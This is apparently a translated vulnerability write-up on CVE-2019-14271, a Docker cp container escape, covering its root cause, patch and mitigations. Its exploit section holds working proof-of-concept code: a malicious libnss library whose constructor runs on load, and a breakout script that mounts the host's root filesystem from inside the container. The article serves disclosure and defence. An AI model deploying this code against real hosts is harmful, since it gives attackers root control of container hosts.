0x00 前言
在过去几年中，研究人员在各种容器平台的copy（cp）命令中发现了几个漏洞，这些平台包括Docker、Podman及Kubernetes，其中最严重的漏洞直到今年7月份才被发现和披露。令人惊讶的是，当时这个漏洞并没有引起太多关注，这可能是因为该漏洞的CVE描述并不清晰，并且也没有公开利用代码。
CVE-2019-14271是Docker cp命令实现中存在的一个安全问题，攻击者可以利用该漏洞实现完整的容器逃逸。这是从2月份runC漏洞公布以来第一个容器逃逸类漏洞。
如果攻击者先前已入侵了某个容器（比如通过各种漏洞、被泄露的私密信息等），或者当用户通过不可信源（registry等）运行某个恶意容器镜像，那么攻击者就可以利用该漏洞。如果用户随后执行了存在漏洞的cp命令，将文件从被入侵的容器中拷贝出来，那么攻击者就可以实现容器逃逸，完全控制宿主机以及其中的所有容器。
CVE-2019-14271的评估等级为“Critical”，已在19.03.1版的Docker中被修复。本文介绍了CVE-2019-14271漏洞，并提出了该漏洞的第一个PoC。
我和Ariel Zelivansky一直在密切关注主流容器平台上最近出现的copy漏洞，我们将于11月20日在San Diego的KubeCon + CloudNativeCon 2019上分享我们的研究成果。在会议上我们将分析过去已有的漏洞、不同的内部实现以及某些底层原因，解释这条简单命令为何难以妥善实现。我们还将讨论为解决该问题而开发的一些新的内核功能。
0x01 Docker cp
我们可以使用copy命令，将文件拷贝至/拷贝出容器，也可以在容器间相互拷贝。命令语法非常简单，与标准的Unix cp命令类似。为了从容器中拷贝出/var/logs，我们可以使用该语法：docker cp container_name:/var/logs /some/host/path。
如下图所示，为了将文件从容器中拷出，Docker使用了一个辅助进程：docker-tar。
图1. 从容器中拷贝文件
docker-tar的原理是chroot到容器中（如下图所示），归档其中请求的文件及目录，然后将生成的tar文件传回Docker守护进程，该进程负责将文件提取到宿主机上的目标目录中。
图2. docker-tar chroot到容器中
执行chroot操作最主要的目的是避免符号链接（symlink）攻击，当宿主机进程尝试访问容器中的文件时就可能发生这种攻击。如果其中某个文件为符号链接，那么就可能被解析到宿主机的根目录，这样攻击者控制的容器就有可能通过容器的cp命令在宿主机上读取并写入文件。在过去一年中，Docker及Podman中已经有多个CVE与符号链接有关。通过chroot到容器根目录，docker-tar就可以确保所有的符号链接已被正确解析。
不幸的是，chroot到容器中存在一个副作用，当从容器中拷贝文件时，会造成更严重的后果。
0x02 CVE-2019-14271
Docker采用Golang编写，更具体一些，存在漏洞的Docker版本采用Go v1.11编译。在这个版本中，包含嵌入式C代码（cgo）的某些package会在运行时动态加载共享库。这些package包括net及os/user，docker-tar都用到了这两个package，会在运行时动态加载一些libnss_*.so库。正常情况下，程序库会从宿主机的文件系统中加载，然而由于docker-tar会chroot到容器中，因此会从容器的文件系统中加载这些库。这意味着docker-tar会加载并执行受容器控制的代码。
这里要澄清一点：除了chroot到容器文件系统中之外，docker-tar并没有被容器化。docker-tar运行在宿主机命名空间中，具备所有root功能，并且没有受cgroups以及seccomp限制。因此，攻击者可以将代码注入到docker-tar，就可以通过恶意容器获得宿主机的完整root访问权限。
当Docker用户从如下几种容器中拷贝文件时，就存在被攻击的风险：
- 运行恶意镜像的容器，其中带有恶意的
libnss_*.so库； - 攻击者在被入侵的容器中替换
libnss_*.so库。
在这两种情况下，攻击者都可以获得宿主机上的root代码执行权限。
有趣的是，研究人员实际上是从某个GitHub issue中发现了该漏洞，当时用户尝试从某个debian:buster-slim容器中拷贝文件，但docker cp命令总是无法成功执行。当时的问题在于该镜像并没有包含libnss库，因此当用户运行docker cp命令，docker-tar进程尝试从容器系统中加载这些库时，就会出现错误。
0x03 漏洞利用
为了利用CVE-2019-14271，我们需要构建一个恶意的libnss库，这里我选择的是libnss_files.so。我下载了该库的源代码，在源文件中添加了一个函数：run_at_link()。我还使用constructor属性来定义该函数。constructor属性（GCC特定语法）表示run_at_link函数会在目标库被进程加载时作为初始化函数来执行，这意味着当docker-tar进程动态加载我们的恶意库时，run_at_link就会被执行。run_at_link代码如下所示，这里我做了适当精简：
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
run_at_link首先会验证代码运行在docker-tar上下文中，这是因为其他正常的容器进程也可能加载该库。代码通过检查/proc目录完成该操作。如果run_at_link运行在docker-tar上下文中，那么该目录将为空，这是因为挂载到/proc的procfs只存在于容器的mount命名空间中。
接下来，run_at_link会将恶意库替换为原始的libnss库。这样能确保利用代码运行的后续进程不会意外加载恶意库，避免再次执行run_at_link。
随后，为了简化利用过程，run_at_link会尝试运行容器中的/breakout可执行文件。这样后续利用代码就可以在bash中完成，不需要依赖于C。后续利用逻辑不受限于run_at_link，这也意味着当利用代码有改动时，我们不需要每次都重新编译恶意库，只需要修改breakout程序即可。
如下图所示，当Docker用户运行恶意镜像（其中包含我们的恶意libnss_files.so库），尝试从容器中拷贝某些日志文件时，镜像中的/breakout程序就会执行。这里的/breakout是一个简单的bash脚本，会将宿主文件系统加载到容器的/host_fs，并将信息写入宿主机上的/evil。
图3. 利用CVE-2019-14271实现容器逃逸
该视频中使用的/breakout脚本源码如下所示。为了获取宿主机根文件系统的引用，脚本将procfs挂载到/proc。由于docker-tar运行在宿主机的PID命名空间中，被挂载的procfs将会包含宿主机进程中的数据。该脚本随后会挂载宿主机PID 1的根目录。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
0x04 漏洞补丁
漏洞补丁修复了docker-tar的init函数，避免存在问题的Go package调用任意函数。补丁强制docker-tar在chroot到容器前，先从宿主机系统中加载libnss库。
图4. 补丁代码
0x05 总结
如果某个漏洞能够在宿主机上执行代码，那该漏洞将非常危险。用户应确保当前运行19.03.1版或更高版本的Docker，这些版本中已经修复了该问题。为了限制这类漏洞的攻击面，我建议大家永远不要运行不可信的镜像。
此外，如果不是特殊情况，我建议大家以非root用户运行容器，这样能进一步提高容器安全性，避免攻击者利用容器引擎或者内核中存在的各种问题。对于CVE-2019-14271漏洞，如果容器以非root用户运行，那么当前环境仍然安全。即便攻击者成功入侵容器，也无法覆盖容器的libnss库，因为这些库归root所有，因此攻击者无法利用该漏洞。Ariel Zelivansky还发表过一篇文章，其中介绍了以非root用户运行容器的各种优点，供大家参考。